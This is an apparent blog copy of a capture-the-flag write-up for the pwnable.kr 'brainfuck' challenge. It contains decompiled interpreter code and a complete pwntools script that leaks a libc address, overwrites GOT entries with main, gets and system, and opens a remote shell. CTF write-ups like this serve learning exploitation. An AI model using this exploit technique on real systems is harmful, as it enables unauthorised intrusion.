美文网首页
pwnable.kr brainfuck writeup

pwnable.kr brainfuck writeup

作者: lilyui | 来源:发表于2017-09-07 20:57 被阅读225次

ida分析文件,发现关键的函数是do_brainfuck

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  _BYTE *v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case 62:                                    // '>'
      result = p++ + 1;
      break;
    case 60:                                    // '<'
      result = p-- - 1;
      break;
    case 43:                                    // '+'
      result = p;
      ++*(_BYTE *)p;
      break;
    case 45:                                    // '-'
      result = p;
      --*(_BYTE *)p;
      break;
    case 46:                                    // '.'
      result = putchar(*(_BYTE *)p);
      break;
    case 44:                                    // ','
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 91:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

在该函数中,可以对指针p进行加减等操作,以及对指针p指向的位置进行读写操作。
那么这样思路就清晰了,我们可以通过p的位置计算出got表中putchar/memset等函数的位置,然后覆盖掉

那么接下来就可以写payload了

from pwn import *

libc = ELF('bf_libc.so')
p = remote('pwnable.kr', 9001)

#  下面的代码定义了函数部分,这里利用do_brainfuck完成了指针移位、读写的操作。

def back(n):
    return '<'*n


def read(n):
    return '.>'*n


def write(n):
    return ',>'*n

# 这里从elf中获取got表的地址

putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
ptr = 0x0804A0A0

# leak putchar_addr
payload = back(ptr - putchar_got) + '.' + read(4)
# overwrite putchar_got to main_addr
payload += back(4) + write(4)
# overwrite memset_got to gets_addr
payload += back(putchar_got - memset_got + 4) + write(4)
# overwrite fgets_got to system_addr
payload += back(memset_got - fgets_got + 4) + write(4)
# JUMP to main
payload += '.'

p.recvuntil('[ ]\n')
p.sendline(payload)
p.recv(1)  # junkcode

putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
system_libc = libc.symbols['system']

putchar = u32(p.recv(4))
log.success("putchar = " + hex(putchar))

gets = putchar - putchar_libc + gets_libc
log.success("gets = " + hex(gets))

system = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))

main = 0x08048671
log.success("main = " + hex(system))

p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))

p.sendline('//bin/sh\0')
p.interactive()

相关文章

  • pwnable.kr brainfuck writeup

    ida分析文件,发现关键的函数是do_brainfuck 在该函数中,可以对指针p进行加减等操作,以及对指针p指向...

  • pwnable.kr之brainfuck

    pwnable.kr之brainfuck.md Overview 题目给了一个简陋版的brainfuck解释器, ...

  • pwnable.kr echo2 writeup

    题目大概逻辑是登录后输入一个用户名,然后可选的echo有两种,一种名为FSB,一种名为UAF,那么很容易想到这道题...

  • 8-加密-BugkuCTF之+[]-

    一,题目--+[]- 二,分析 brainfuck编码在线解密 三,知识点 brainfuck编码

  • Pwnable.kr-3.bof

    下载链接:http://pwnable.kr/bin/bofhttp://pwnable.kr/bin/bof.c...

  • BrainFuck

    简介 Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在...

  • Pwnable.kr系列

    pwnable.kr

  • 使用Rust实现一个Brainfuck解释器

    [TOC] 使用Rust实现一个Brainfuck解释器 brainfuck语法解析 由于 fuck 在英语中是脏...

  • 【Writeup】Pwnable.kr 0x05 passcod

    0x05 passcode 题目描述: 解题思路: ssh登录上去后得到代码 首先分析一下代码这个c代码共有三个函...

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

网友评论

      本文标题:pwnable.kr brainfuck writeup

      本文链接:https://www.haomeiwen.com/subject/wqlbjxtx.html